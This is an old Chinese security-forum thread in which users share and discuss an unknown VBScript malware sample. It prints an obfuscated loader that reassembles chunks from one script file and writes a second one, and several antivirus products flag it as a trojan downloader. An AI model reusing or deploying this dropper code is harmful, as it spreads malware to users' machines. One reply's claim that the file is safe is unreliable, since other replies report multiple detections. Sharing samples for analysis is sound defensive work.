未知vbs病毒

显示全部楼层 · 发表于 2009-12-28 14:32:45

未知vbs病毒

显示全部楼层 · 发表于 2009-12-28 14:33:51

to Fortinet

显示全部楼层 · 发表于 2009-12-28 14:42:07

On Error reSuMe NExt:v=1:Do:Set E=CreAteOBject("sCRIPTIng.fileSYsTeMoBjECT"):dO whilE e.fIlEEXISTs("C:\viecxa.vbs")=falsE:wSCRIPT.SlEEP(1000):LoOP:SeT j=E.OpentEXTfiLe("C:\viecxa.vbs",1):DO wHILe j.aTendOfStREaM=fALse:D=j.rEADLIne:A=LEN(d):X=lefT(d,2):seLeCt caSE trUE:CAse IsNUmerIc(x)=False:case a=3942+3 And INT(X)=V:k=k+mID(d,3,3942):v=V+1:CaSE a=824+3 AnD INt(x)=v:k=k+MId(d,3,824):V=v+1:END SeleCt:Loop:j.cLose:iF 13+1=v TheN:l=LEn(k)/2:SET R=cREATeObjEct("Adodb.reCOrDSET"):r.FieLDS.apPenD "m",205,L:r.Open:R.aDdNew:R("m")=k:r.uPdATe:k=R("M").gETChuNk(L):SET Q=cREATEoBjECt("ADODb.StREAm"):wIth q:.MODe=3:.tyPE=1:.OPeN():.wrItE K:.sAVETOFiLe "C:\fonefbt.vbs",2:END with:wsCRIpt.quit:EnD IF:wscrIPt.sLeEp(200):loop

这单单的好像不是病毒吧

显示全部楼层 · 发表于 2009-12-28 14:45:08

无法返回请求的网页

试图访问的网页：

http://bbs.kafan.cn/attachment.php?aid=
NjkyNjY3fDAyNTA1MTkxfDEyNjE5ODI2NDR8OTA0
YjYyS1I4cXlMaitBcmpQbVJadi8yTkRxV20zdkpR
RGxqVm41TTRoL2Zqc0U%3D

被以下病毒感染：Trojan-Downloader.VBS.Small.in

显示全部楼层 · 发表于 2009-12-28 14:49:09

卡巴杀了

显示全部楼层 · 发表于 2009-12-28 15:33:09

显示全部楼层 · 发表于 2009-12-28 15:55:05

Virus: VBS:Agent-CW [Trj] (Engine B)

Virus found while downloading Web content.

Address: bbs.kafan.cn

显示全部楼层 · 发表于 2009-12-28 16:23:21

avast kill
VBS:Agent-CW [Trj]

显示全部楼层 · 发表于 2009-12-28 18:23:23

经测试非病毒没有篡改注册表以及恶意行为，完全没有危害行为。是安全文件！

显示全部楼层 · 发表于 2009-12-28 22:27:01

McAfee miss

[病毒样本] 未知vbs病毒

本帖子中包含更多资源

本帖子中包含更多资源